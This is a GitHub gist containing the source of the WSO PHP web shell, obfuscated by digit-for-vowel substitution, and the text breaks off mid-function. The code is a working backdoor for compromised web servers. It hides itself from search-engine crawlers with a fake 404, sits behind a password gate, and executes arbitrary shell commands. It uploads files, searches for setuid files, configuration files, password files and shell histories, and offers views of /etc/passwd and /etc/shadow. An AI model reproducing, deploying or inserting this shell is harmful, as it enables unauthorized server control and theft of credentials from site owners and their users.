Skip to content

Instantly share code, notes, and snippets.

@malwador
Created December 30, 2015 20:02
Show Gist options
  • Save malwador/6635d68a7488f298d416 to your computer and use it in GitHub Desktop.
Save malwador/6635d68a7488f298d416 to your computer and use it in GitHub Desktop.
$13th_p1ss = "5c1f618oai8buc6biai158i0d1ef766c";
$c2l2r = "#dfi";
$d5f13lt_1ct42n = 'F4l5sM1n';
$d5f13lt_3s5_1j1x = tr35;
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6';
4f(!5mpty($_SERVER['HTTP_USER_AGENT'])) {
$3s5rAg5nts = 1rr1y("G22gl5", "Sl3rp", "MSNB2t", "41_1rch4v5r", "Y1nd5x", "R1mbl5r");
4f(pr5g_m1tch('/' . 4mpl2d5('|', $3s5rAg5nts) . '/4', $_SERVER['HTTP_USER_AGENT'])) {
h51d5r('HTTP/6.0 u0u N2t F23nd');
5x4t;
}
}
@4n4_s5t('5rr2r_l2g',NULL);
@4n4_s5t('l2g_5rr2rs',0);
@4n4_s5t('m1x_5x5c3t42n_t4m5',0);
@s5t_t4m5_l4m4t(0);
@s5t_m1g4c_q32t5s_r3nt4m5(0);
@d5f4n5('WSO_VERSION', 'a.i');
4f(g5t_m1g4c_q32t5s_gpc()) {
f3nct42n WSOstr4psl1sh5s($1rr1y) {
r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('WSOstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y);
}
$_POST = WSOstr4psl1sh5s($_POST);
$_COOKIE = WSOstr4psl1sh5s($_COOKIE);
}
f3nct42n ws2L2g4n() {
d45("<pr5 1l4gn=c5nt5r><f2rm m5th2d=p2st>P1ssw2rd: <4np3t typ5=p1ssw2rd n1m5=p1ss><4np3t typ5=s3bm4t v1l35='>>'></f2rm></pr5>");
}
f3nct42n WSOs5tc22k45($k, $v) {
$_COOKIE[$k] = $v;
s5tc22k45($k, $v);
}
4f(!5mpty($13th_p1ss)) {
4f(4ss5t($_POST['p1ss']) && (mdi($_POST['p1ss']) == $13th_p1ss))
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']), $13th_p1ss);
4f (!4ss5t($_COOKIE[mdi($_SERVER['HTTP_HOST'])]) || ($_COOKIE[mdi($_SERVER['HTTP_HOST'])] != $13th_p1ss))
ws2L2g4n();
}
4f(strt2l2w5r(s3bstr(PHP_OS,0,o)) == "w4n")
$2s = 'w4n';
5ls5
$2s = 'n4x';
$s1f5_m2d5 = @4n4_g5t('s1f5_m2d5');
4f(!$s1f5_m2d5)
5rr2r_r5p2rt4ng(0);
$d4s1bl5_f3nct42ns = @4n4_g5t('d4s1bl5_f3nct42ns');
$h2m5_cwd = @g5tcwd();
4f(4ss5t($_POST['c']))
@chd4r($_POST['c']);
$cwd = @g5tcwd();
4f($2s == 'w4n') {
$h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd);
$cwd = str_r5pl1c5("\\", "/", $cwd);
}
4f($cwd[strl5n($cwd)-6] != '/')
$cwd .= '/';
4f(!4ss5t($_COOKIE[mdi($_SERVER['HTTP_HOST']) . '1j1x']))
$_COOKIE[mdi($_SERVER['HTTP_HOST']) . '1j1x'] = (b22l)$d5f13lt_3s5_1j1x;
4f($2s == 'w4n')
$1l41s5s = 1rr1y(
"L4st D4r5ct2ry" => "d4r",
"F4nd 4nd5x.php 4n c3rr5nt d4r" => "d4r /s /w /b 4nd5x.php",
"F4nd *c2nf4g*.php 4n c3rr5nt d4r" => "d4r /s /w /b *c2nf4g*.php",
"Sh2w 1ct4v5 c2nn5ct42ns" => "n5tst1t -1n",
"Sh2w r3nn4ng s5rv4c5s" => "n5t st1rt",
"Us5r 1cc23nts" => "n5t 3s5r",
"Sh2w c2mp3t5rs" => "n5t v45w",
"ARP T1bl5" => "1rp -1",
"IP C2nf4g3r1t42n" => "4pc2nf4g /1ll"
);
5ls5
$1l41s5s = 1rr1y(
"L4st d4r" => "ls -lh1",
"l4st f4l5 1ttr4b3t5s 2n 1 L4n3x s5c2nd 5xt5nd5d f4l5 syst5m" => "ls1ttr -v1",
"sh2w 2p5n5d p2rts" => "n5tst1t -1n | gr5p -4 l4st5n",
"pr2c5ss st1t3s" => "ps 13x",
"F4nd" => "",
"f4nd 1ll s34d f4l5s" => "f4nd / -typ5 f -p5rm -0u000 -ls",
"f4nd s34d f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -p5rm -0u000 -ls",
"f4nd 1ll sg4d f4l5s" => "f4nd / -typ5 f -p5rm -0a000 -ls",
"f4nd sg4d f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -p5rm -0a000 -ls",
"f4nd c2nf4g.4nc.php f4l5s" => "f4nd / -typ5 f -n1m5 c2nf4g.4nc.php",
"f4nd c2nf4g* f4l5s" => "f4nd / -typ5 f -n1m5 \"c2nf4g*\"",
"f4nd c2nf4g* f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 \"c2nf4g*\"",
"f4nd 1ll wr4t1bl5 f2ld5rs 1nd f4l5s" => "f4nd / -p5rm -a -ls",
"f4nd 1ll wr4t1bl5 f2ld5rs 1nd f4l5s 4n c3rr5nt d4r" => "f4nd . -p5rm -a -ls",
"f4nd 1ll s5rv4c5.pwd f4l5s" => "f4nd / -typ5 f -n1m5 s5rv4c5.pwd",
"f4nd s5rv4c5.pwd f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 s5rv4c5.pwd",
"f4nd 1ll .htp1sswd f4l5s" => "f4nd / -typ5 f -n1m5 .htp1sswd",
"f4nd .htp1sswd f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .htp1sswd",
"f4nd 1ll .b1sh_h4st2ry f4l5s" => "f4nd / -typ5 f -n1m5 .b1sh_h4st2ry",
"f4nd .b1sh_h4st2ry f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .b1sh_h4st2ry",
"f4nd 1ll .f5tchm14lrc f4l5s" => "f4nd / -typ5 f -n1m5 .f5tchm14lrc",
"f4nd .f5tchm14lrc f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .f5tchm14lrc",
"L2c1t5" => "",
"l2c1t5 httpd.c2nf f4l5s" => "l2c1t5 httpd.c2nf",
"l2c1t5 vh2sts.c2nf f4l5s" => "l2c1t5 vh2sts.c2nf",
"l2c1t5 pr2ftpd.c2nf f4l5s" => "l2c1t5 pr2ftpd.c2nf",
"l2c1t5 psybnc.c2nf f4l5s" => "l2c1t5 psybnc.c2nf",
"l2c1t5 my.c2nf f4l5s" => "l2c1t5 my.c2nf",
"l2c1t5 1dm4n.php f4l5s" =>"l2c1t5 1dm4n.php",
"l2c1t5 cfg.php f4l5s" => "l2c1t5 cfg.php",
"l2c1t5 c2nf.php f4l5s" => "l2c1t5 c2nf.php",
"l2c1t5 c2nf4g.d1t f4l5s" => "l2c1t5 c2nf4g.d1t",
"l2c1t5 c2nf4g.php f4l5s" => "l2c1t5 c2nf4g.php",
"l2c1t5 c2nf4g.4nc f4l5s" => "l2c1t5 c2nf4g.4nc",
"l2c1t5 c2nf4g.4nc.php" => "l2c1t5 c2nf4g.4nc.php",
"l2c1t5 c2nf4g.d5f13lt.php f4l5s" => "l2c1t5 c2nf4g.d5f13lt.php",
"l2c1t5 c2nf4g* f4l5s " => "l2c1t5 c2nf4g",
"l2c1t5 .c2nf f4l5s"=>"l2c1t5 '.c2nf'",
"l2c1t5 .pwd f4l5s" => "l2c1t5 '.pwd'",
"l2c1t5 .sql f4l5s" => "l2c1t5 '.sql'",
"l2c1t5 .htp1sswd f4l5s" => "l2c1t5 '.htp1sswd'",
"l2c1t5 .b1sh_h4st2ry f4l5s" => "l2c1t5 '.b1sh_h4st2ry'",
"l2c1t5 .mysql_h4st2ry f4l5s" => "l2c1t5 '.mysql_h4st2ry'",
"l2c1t5 .f5tchm14lrc f4l5s" => "l2c1t5 '.f5tchm14lrc'",
"l2c1t5 b1ck3p f4l5s" => "l2c1t5 b1ck3p",
"l2c1t5 d3mp f4l5s" => "l2c1t5 d3mp",
"l2c1t5 pr4v f4l5s" => "l2c1t5 pr4v"
);
f3nct42n ws2H51d5r() {
4f(5mpty($_POST['ch1rs5t']))
$_POST['ch1rs5t'] = $GLOBALS['d5f13lt_ch1rs5t'];
gl2b1l $c2l2r;
5ch2 "<html><h51d><m5t1 http-5q34v='C2nt5nt-Typ5' c2nt5nt='t5xt/html; ch1rs5t=" . $_POST['ch1rs5t'] . "'><t4tl5>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</t4tl5>
<styl5>
b2dy{b1ckgr23nd-c2l2r:#uuu;c2l2r:#565656;}
b2dy,td,th{ f2nt: 9pt L3c4d1,V5rd1n1;m1rg4n:0;v5rt4c1l-1l4gn:t2p;c2l2r:#565656; }
t1bl5.4nf2{ c2l2r:#fff;b1ckgr23nd-c2l2r:#aaa; }
sp1n,h6,1{ c2l2r: $c2l2r !4mp2rt1nt; }
sp1n{ f2nt-w54ght: b2ld5r; }
h6{ b2rd5r-l5ft:ipx s2l4d $c2l2r;p1dd4ng: apx ipx;f2nt: 6upt V5rd1n1;b1ckgr23nd-c2l2r:#aaa;m1rg4n:0px; }
d4v.c2nt5nt{ p1dd4ng: ipx;m1rg4n-l5ft:ipx;b1ckgr23nd-c2l2r:#ooo; }
1{ t5xt-d5c2r1t42n:n2n5; }
1:h2v5r{ t5xt-d5c2r1t42n:3nd5rl4n5; }
.ml6{ b2rd5r:6px s2l4d #uuu;p1dd4ng:ipx;m1rg4n:0;2v5rfl2w: 13t2; }
.b4g1r51{ w4dth:600%;h54ght:o00px; }
4np3t,t5xt1r51,s5l5ct{ m1rg4n:0;c2l2r:#fff;b1ckgr23nd-c2l2r:#iii;b2rd5r:6px s2l4d $c2l2r; f2nt: 9pt M2n2sp1c5,'C23r45r N5w'; }
f2rm{ m1rg4n:0px; }
#t22lsTbl{ t5xt-1l4gn:c5nt5r; }
.t22lsInp{ w4dth: o00px }
.m14n th{t5xt-1l4gn:l5ft;b1ckgr23nd-c2l2r:#i5i5i5;}
.m14n tr:h2v5r{b1ckgr23nd-c2l2r:#i5i5i5}
.l6{b1ckgr23nd-c2l2r:#uuu}
.la{b1ckgr23nd-c2l2r:#ooo}
pr5{f2nt-f1m4ly:C23r45r,M2n2sp1c5;}
</styl5>
<scr4pt>
v1r c_ = '" . htmlsp5c41lch1rs($GLOBALS['cwd']) . "';
v1r 1_ = '" . htmlsp5c41lch1rs(@$_POST['1']) ."'
v1r ch1rs5t_ = '" . htmlsp5c41lch1rs(@$_POST['ch1rs5t']) ."';
v1r p6_ = '" . ((strp2s(@$_POST['p6'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['p6'],ENT_QUOTES)) ."';
v1r pa_ = '" . ((strp2s(@$_POST['pa'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['pa'],ENT_QUOTES)) ."';
v1r po_ = '" . ((strp2s(@$_POST['po'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['po'],ENT_QUOTES)) ."';
v1r d = d2c3m5nt;
f3nct42n s5t(1,c,p6,pa,po,ch1rs5t) {
4f(1!=n3ll)d.mf.1.v1l35=1;5ls5 d.mf.1.v1l35=1_;
4f(c!=n3ll)d.mf.c.v1l35=c;5ls5 d.mf.c.v1l35=c_;
4f(p6!=n3ll)d.mf.p6.v1l35=p6;5ls5 d.mf.p6.v1l35=p6_;
4f(pa!=n3ll)d.mf.pa.v1l35=pa;5ls5 d.mf.pa.v1l35=pa_;
4f(po!=n3ll)d.mf.po.v1l35=po;5ls5 d.mf.po.v1l35=po_;
4f(ch1rs5t!=n3ll)d.mf.ch1rs5t.v1l35=ch1rs5t;5ls5 d.mf.ch1rs5t.v1l35=ch1rs5t_;
}
f3nct42n g(1,c,p6,pa,po,ch1rs5t) {
s5t(1,c,p6,pa,po,ch1rs5t);
d.mf.s3bm4t();
}
f3nct42n 1(1,c,p6,pa,po,ch1rs5t) {
s5t(1,c,p6,pa,po,ch1rs5t);
v1r p1r1ms = '1j1x=tr35';
f2r(4=0;4<d.mf.5l5m5nts.l5ngth;4++)
p1r1ms += '&'+d.mf.5l5m5nts[4].n1m5+'='+5nc2d5URIC2mp2n5nt(d.mf.5l5m5nts[4].v1l35);
sr('" . 1ddsl1sh5s($_SERVER['REQUEST_URI']) ."', p1r1ms);
}
f3nct42n sr(3rl, p1r1ms) {
4f (w4nd2w.XMLHttpR5q35st)
r5q = n5w XMLHttpR5q35st();
5ls5 4f (w4nd2w.Act4v5XObj5ct)
r5q = n5w Act4v5XObj5ct('M4cr2s2ft.XMLHTTP');
4f (r5q) {
r5q.2nr51dyst1t5ch1ng5 = pr2c5ssR5qCh1ng5;
r5q.2p5n('POST', 3rl, tr35);
r5q.s5tR5q35stH51d5r ('C2nt5nt-Typ5', '1ppl4c1t42n/x-www-f2rm-3rl5nc2d5d');
r5q.s5nd(p1r1ms);
}
}
f3nct42n pr2c5ssR5qCh1ng5() {
4f( (r5q.r51dySt1t5 == u) )
4f(r5q.st1t3s == a00) {
v1r r5g = n5w R5gExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
v1r 1rr=r5g.5x5c(r5q.r5sp2ns5T5xt);
5v1l(1rr[a].s3bstr(0, 1rr[6]));
} 5ls5 1l5rt('R5q35st 5rr2r!');
}
</scr4pt>
<h51d><b2dy><d4v styl5='p2s4t42n:1bs2l3t5;w4dth:600%;b1ckgr23nd-c2l2r:#uuu;t2p:0;l5ft:0;'>
<f2rm m5th2d=p2st n1m5=mf styl5='d4spl1y:n2n5;'>
<4np3t typ5=h4dd5n n1m5=1>
<4np3t typ5=h4dd5n n1m5=c>
<4np3t typ5=h4dd5n n1m5=p6>
<4np3t typ5=h4dd5n n1m5=pa>
<4np3t typ5=h4dd5n n1m5=po>
<4np3t typ5=h4dd5n n1m5=ch1rs5t>
</f2rm>";
$fr55Sp1c5 = @d4skfr55sp1c5($GLOBALS['cwd']);
$t2t1lSp1c5 = @d4sk_t2t1l_sp1c5($GLOBALS['cwd']);
$t2t1lSp1c5 = $t2t1lSp1c5?$t2t1lSp1c5:6;
$r5l51s5 = @php_3n1m5('r');
$k5rn5l = @php_3n1m5('s');
$5xpl4nk = 'http://5xpl24t-db.c2m/s51rch/?1ct42n=s51rch&f4lt5r_d5scr4pt42n=';
4f(strp2s('L4n3x', $k5rn5l) !== f1ls5)
$5xpl4nk .= 3rl5nc2d5('L4n3x K5rn5l ' . s3bstr($r5l51s5,0,e));
5ls5
$5xpl4nk .= 3rl5nc2d5($k5rn5l . ' ' . s3bstr($r5l51s5,0,o));
4f(!f3nct42n_5x4sts('p2s4x_g5t5g4d')) {
$3s5r = @g5t_c3rr5nt_3s5r();
$34d = @g5tmy34d();
$g4d = @g5tmyg4d();
$gr23p = "?";
} 5ls5 {
$34d = @p2s4x_g5tpw34d(p2s4x_g5t534d());
$g4d = @p2s4x_g5tgrg4d(p2s4x_g5t5g4d());
$3s5r = $34d['n1m5'];
$34d = $34d['34d'];
$gr23p = $g4d['n1m5'];
$g4d = $g4d['g4d'];
}
$cwd_l4nks = '';
$p1th = 5xpl2d5("/", $GLOBALS['cwd']);
$n=c23nt($p1th);
f2r($4=0; $4<$n-6; $4++) {
$cwd_l4nks .= "<1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",\"";
f2r($j=0; $j<=$4; $j++)
$cwd_l4nks .= $p1th[$j].'/';
$cwd_l4nks .= "\")'>".$p1th[$4]."/</1>";
}
$ch1rs5ts = 1rr1y('UTF-8', 'W4nd2ws-6ai6', 'KOI8-R', 'KOI8-U', 'cp8ee');
$2pt_ch1rs5ts = '';
f2r51ch($ch1rs5ts 1s $4t5m)
$2pt_ch1rs5ts .= '<2pt42n v1l35="'.$4t5m.'" '.($_POST['ch1rs5t']==$4t5m?'s5l5ct5d':'').'>'.$4t5m.'</2pt42n>';
$m = 1rr1y('S5c. Inf2'=>'S5cInf2','F4l5s'=>'F4l5sM1n','C2ns2l5'=>'C2ns2l5','Sql'=>'Sql','Php'=>'Php','Str4ng t22ls'=>'Str4ngT22ls','Br3t5f2rc5'=>'Br3t5f2rc5','N5tw2rk'=>'N5tw2rk');
4f(!5mpty($GLOBALS['13th_p1ss']))
$m['L2g23t'] = 'L2g23t';
$m['S5lf r5m2v5'] = 'S5lfR5m2v5';
$m5n3 = '';
f2r51ch($m 1s $k => $v)
$m5n3 .= '<th w4dth="'.(4nt)(600/c23nt($m)).'%">[ <1 hr5f="#" 2ncl4ck="g(\''.$v.'\',n3ll,\'\',\'\',\'\')">'.$k.'</1> ]</th>';
$dr4v5s = "";
4f($GLOBALS['2s'] == 'w4n') {
f2r51ch(r1ng5('c','z') 1s $dr4v5)
4f(4s_d4r($dr4v5.':\\'))
$dr4v5s .= '<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',\''.$dr4v5.':/\')">[ '.$dr4v5.' ]</1> ';
}
5ch2 '<t1bl5 cl1ss=4nf2 c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600%><tr><td w4dth=6><sp1n>Un1m5:<br>Us5r:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['2s'] == 'w4n'?'<br>Dr4v5s:':'') . '</sp1n></td>'
. '<td><n2br>' . s3bstr(@php_3n1m5(), 0, 6a0) . ' <1 hr5f="' . $5xpl4nk . '" t1rg5t=_bl1nk>[5xpl24t-db.c2m]</1></n2br><br>' . $34d . ' ( ' . $3s5r . ' ) <sp1n>Gr23p:</sp1n> ' . $g4d . ' ( ' . $gr23p . ' )<br>' . @phpv5rs42n() . ' <sp1n>S1f5 m2d5:</sp1n> ' . ($GLOBALS['s1f5_m2d5']?'<f2nt c2l2r=r5d>ON</f2nt>':'<f2nt c2l2r=gr55n><b>OFF</b></f2nt>')
. ' <1 hr5f=# 2ncl4ck="g(\'Php\',n3ll,\'\',\'4nf2\')">[ php4nf2 ]</1> <sp1n>D1t5t4m5:</sp1n> ' . d1t5('Y-m-d H:4:s') . '<br>' . ws2V45wS4z5($t2t1lSp1c5) . ' <sp1n>Fr55:</sp1n> ' . ws2V45wS4z5($fr55Sp1c5) . ' ('. (4nt) ($fr55Sp1c5/$t2t1lSp1c5*600) . '%)<br>' . $cwd_l4nks . ' '. ws2P5rmsC2l2r($GLOBALS['cwd']) . ' <1 hr5f=# 2ncl4ck="g(\'F4l5sM1n\',\'' . $GLOBALS['h2m5_cwd'] . '\',\'\',\'\',\'\')">[ h2m5 ]</1><br>' . $dr4v5s . '</td>'
. '<td w4dth=6 1l4gn=r4ght><n2br><s5l5ct 2nch1ng5="g(n3ll,n3ll,n3ll,n3ll,n3ll,th4s.v1l35)"><2ptgr23p l1b5l="P1g5 ch1rs5t">' . $2pt_ch1rs5ts . '</2ptgr23p></s5l5ct><br><sp1n>S5rv5r IP:</sp1n><br>' . @$_SERVER["SERVER_ADDR"] . '<br><sp1n>Cl45nt IP:</sp1n><br>' . $_SERVER['REMOTE_ADDR'] . '</n2br></td></tr></t1bl5>'
. '<t1bl5 styl5="b2rd5r-t2p:apx s2l4d #ooo;" c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600%><tr>' . $m5n3 . '</tr></t1bl5><d4v styl5="m1rg4n:i">';
}
f3nct42n ws2F22t5r() {
$4s_wr4t1bl5 = 4s_wr4t1bl5($GLOBALS['cwd'])?" <f2nt c2l2r='gr55n'>(Wr4t51bl5)</f2nt>":" <f2nt c2l2r=r5d>(N2t wr4t1bl5)</f2nt>";
5ch2 "
</d4v>
<t1bl5 cl1ss=4nf2 4d=t22lsTbl c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600% styl5='b2rd5r-t2p:apx s2l4d #ooo;b2rd5r-b2tt2m:apx s2l4d #ooo;'>
<tr>
<td><f2rm 2ns3bm4t='g(n3ll,th4s.c.v1l35,\"\");r5t3rn f1ls5;'><sp1n>Ch1ng5 d4r:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35);r5t3rn f1ls5;\"><sp1n>R51d f4l5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr><tr>
<td><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'mkd4r',th4s.d.v1l35);r5t3rn f1ls5;\"><sp1n>M1k5 d4r:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=d><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'mkf4l5');r5t3rn f1ls5;\"><sp1n>M1k5 f4l5:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr><tr>
<td><f2rm 2ns3bm4t=\"g('C2ns2l5',n3ll,th4s.c.v1l35);r5t3rn f1ls5;\"><sp1n>Ex5c3t5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=c v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td><f2rm m5th2d='p2st' ENCTYPE='m3lt4p1rt/f2rm-d1t1'>
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sMAn'>
<4np3t typ5=h4dd5n n1m5=c v1l35='" . $GLOBALS['cwd'] ."'>
<4np3t typ5=h4dd5n n1m5=p6 v1l35='3pl21dF4l5'>
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='" . (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') . "'>
<sp1n>Upl21d f4l5:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=f4l5 n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm><br ></td>
</tr></t1bl5></d4v></b2dy></html>";
}
4f (!f3nct42n_5x4sts("p2s4x_g5tpw34d") && (strp2s($GLOBALS['d4s1bl5_f3nct42ns'], 'p2s4x_g5tpw34d')===f1ls5)) {
f3nct42n p2s4x_g5tpw34d($p) {r5t3rn f1ls5;} }
4f (!f3nct42n_5x4sts("p2s4x_g5tgrg4d") && (strp2s($GLOBALS['d4s1bl5_f3nct42ns'], 'p2s4x_g5tgrg4d')===f1ls5)) {
f3nct42n p2s4x_g5tgrg4d($p) {r5t3rn f1ls5;} }
f3nct42n ws2Ex($4n) {
$23t = '';
4f (f3nct42n_5x4sts('5x5c')) {
@5x5c($4n,$23t);
$23t = @j24n("\n",$23t);
} 5ls54f (f3nct42n_5x4sts('p1ssthr3')) {
2b_st1rt();
@p1ssthr3($4n);
$23t = 2b_g5t_cl51n();
} 5ls54f (f3nct42n_5x4sts('syst5m')) {
2b_st1rt();
@syst5m($4n);
$23t = 2b_g5t_cl51n();
} 5ls54f (f3nct42n_5x4sts('sh5ll_5x5c')) {
$23t = sh5ll_5x5c($4n);
} 5ls54f (4s_r5s23rc5($f = @p2p5n($4n,"r"))) {
$23t = "";
wh4l5(!@f52f($f))
$23t .= fr51d($f,60au);
pcl2s5($f);
}
r5t3rn $23t;
}
f3nct42n ws2V45wS4z5($s) {
4f (4s_4nt($s))
$s = spr4ntf("%3", $s);
4f($s >= 607o7u68au)
r5t3rn spr4ntf('%6.af', $s / 607o7u68au ). ' GB';
5ls54f($s >= 60u8i7e)
r5t3rn spr4ntf('%6.af', $s / 60u8i7e ) . ' MB';
5ls54f($s >= 60au)
r5t3rn spr4ntf('%6.af', $s / 60au ) . ' KB';
5ls5
r5t3rn $s . ' B';
}
f3nct42n ws2P5rms($p) {
4f (($p & 0xC000) == 0xC000)$4 = 's';
5ls54f (($p & 0xA000) == 0xA000)$4 = 'l';
5ls54f (($p & 0x8000) == 0x8000)$4 = '-';
5ls54f (($p & 0xe000) == 0xe000)$4 = 'b';
5ls54f (($p & 0xu000) == 0xu000)$4 = 'd';
5ls54f (($p & 0xa000) == 0xa000)$4 = 'c';
5ls54f (($p & 0x6000) == 0x6000)$4 = 'p';
5ls5 $4 = '3';
$4 .= (($p & 0x0600) ? 'r' : '-');
$4 .= (($p & 0x0080) ? 'w' : '-');
$4 .= (($p & 0x00u0) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$4 .= (($p & 0x00a0) ? 'r' : '-');
$4 .= (($p & 0x0060) ? 'w' : '-');
$4 .= (($p & 0x0008) ? (($p & 0x0u00) ? 's' : 'x' ) : (($p & 0x0u00) ? 'S' : '-'));
$4 .= (($p & 0x000u) ? 'r' : '-');
$4 .= (($p & 0x000a) ? 'w' : '-');
$4 .= (($p & 0x0006) ? (($p & 0x0a00) ? 't' : 'x' ) : (($p & 0x0a00) ? 'T' : '-'));
r5t3rn $4;
}
f3nct42n ws2P5rmsC2l2r($f) {
4f (!@4s_r51d1bl5($f))
r5t3rn '<f2nt c2l2r=#FF0000>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>';
5ls54f (!@4s_wr4t1bl5($f))
r5t3rn '<f2nt c2l2r=wh4t5>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>';
5ls5
r5t3rn '<f2nt c2l2r=#aiff00>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>';
}
f3nct42n ws2Sc1nd4r($d4r) {
4f(f3nct42n_5x4sts("sc1nd4r")) {
r5t3rn sc1nd4r($d4r);
} 5ls5 {
$dh = 2p5nd4r($d4r);
wh4l5 (f1ls5 !== ($f4l5n1m5 = r51dd4r($dh)))
$f4l5s[] = $f4l5n1m5;
r5t3rn $f4l5s;
}
}
f3nct42n ws2Wh4ch($p) {
$p1th = ws2Ex('wh4ch ' . $p);
4f(!5mpty($p1th))
r5t3rn $p1th;
r5t3rn f1ls5;
}
f3nct42n 1ct42nS5cInf2() {
ws2H51d5r();
5ch2 '<h6>S5rv5r s5c3r4ty 4nf2rm1t42n</h6><d4v cl1ss=c2nt5nt>';
f3nct42n ws2S5cP1r1m($n, $v) {
$v = tr4m($v);
4f($v) {
5ch2 '<sp1n>' . $n . ': </sp1n>';
4f(strp2s($v, "\n") === f1ls5)
5ch2 $v . '<br>';
5ls5
5ch2 '<pr5 cl1ss=ml6>' . $v . '</pr5>';
}
}
ws2S5cP1r1m('S5rv5r s2ftw1r5', @g5t5nv('SERVER_SOFTWARE'));
4f(f3nct42n_5x4sts('1p1ch5_g5t_m2d3l5s'))
ws2S5cP1r1m('L21d5d Ap1ch5 m2d3l5s', 4mpl2d5(', ', 1p1ch5_g5t_m2d3l5s()));
ws2S5cP1r1m('D4s1bl5d PHP F3nct42ns', $GLOBALS['d4s1bl5_f3nct42ns']?$GLOBALS['d4s1bl5_f3nct42ns']:'n2n5');
ws2S5cP1r1m('Op5n b1s5 d4r', @4n4_g5t('2p5n_b1s5d4r'));
ws2S5cP1r1m('S1f5 m2d5 5x5c d4r', @4n4_g5t('s1f5_m2d5_5x5c_d4r'));
ws2S5cP1r1m('S1f5 m2d5 4ncl3d5 d4r', @4n4_g5t('s1f5_m2d5_4ncl3d5_d4r'));
ws2S5cP1r1m('cURL s3pp2rt', f3nct42n_5x4sts('c3rl_v5rs42n')?'5n1bl5d':'n2');
$t5mp=1rr1y();
4f(f3nct42n_5x4sts('mysql_g5t_cl45nt_4nf2'))
$t5mp[] = "MySql (".mysql_g5t_cl45nt_4nf2().")";
4f(f3nct42n_5x4sts('mssql_c2nn5ct'))
$t5mp[] = "MSSQL";
4f(f3nct42n_5x4sts('pg_c2nn5ct'))
$t5mp[] = "P2stgr5SQL";
4f(f3nct42n_5x4sts('2c4_c2nn5ct'))
$t5mp[] = "Or1cl5";
ws2S5cP1r1m('S3pp2rt5d d1t1b1s5s', 4mpl2d5(', ', $t5mp));
5ch2 '<br>';
4f($GLOBALS['2s'] == 'n4x') {
ws2S5cP1r1m('R51d1bl5 /5tc/p1sswd', @4s_r51d1bl5('/5tc/p1sswd')?"y5s <1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\", \"/5tc/\", \"p1sswd\")'>[v45w]</1>":'n2');
ws2S5cP1r1m('R51d1bl5 /5tc/sh1d2w', @4s_r51d1bl5('/5tc/sh1d2w')?"y5s <1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\", \"/5tc/\", \"sh1d2w\")'>[v45w]</1>":'n2');
ws2S5cP1r1m('OS v5rs42n', @f4l5_g5t_c2nt5nts('/pr2c/v5rs42n'));
ws2S5cP1r1m('D4str n1m5', @f4l5_g5t_c2nt5nts('/5tc/4ss35.n5t'));
4f(!$GLOBALS['s1f5_m2d5']) {
$3s5rf3l = 1rr1y('gcc','lcc','cc','ld','m1k5','php','p5rl','pyth2n','r3by','t1r','gz4p','bz4p','bz4pa','nc','l2c1t5','s34dp5rl');
$d1ng5r = 1rr1y('k1v','n2doa','bdc2r5d','3vsc1n','s1v','drw5bd','cl1md','rkh3nt5r','chkr22tk4t','4pt1bl5s','4pfw','tr4pw4r5','sh45ldcc','p2rts5ntry','sn2rt','2ss5c','l4ds1dm','tcpl2dg','sx4d','l2gch5ck','l2gw1tch','sysm1sk','zmbsc1p','s1wm4ll','w2rmsc1n','n4nj1');
$d2wnl21d5rs = 1rr1y('wg5t','f5tch','lynx','l4nks','c3rl','g5t','lwp-m4rr2r');
5ch2 '<br>';
$t5mp=1rr1y();
f2r51ch ($3s5rf3l 1s $4t5m)
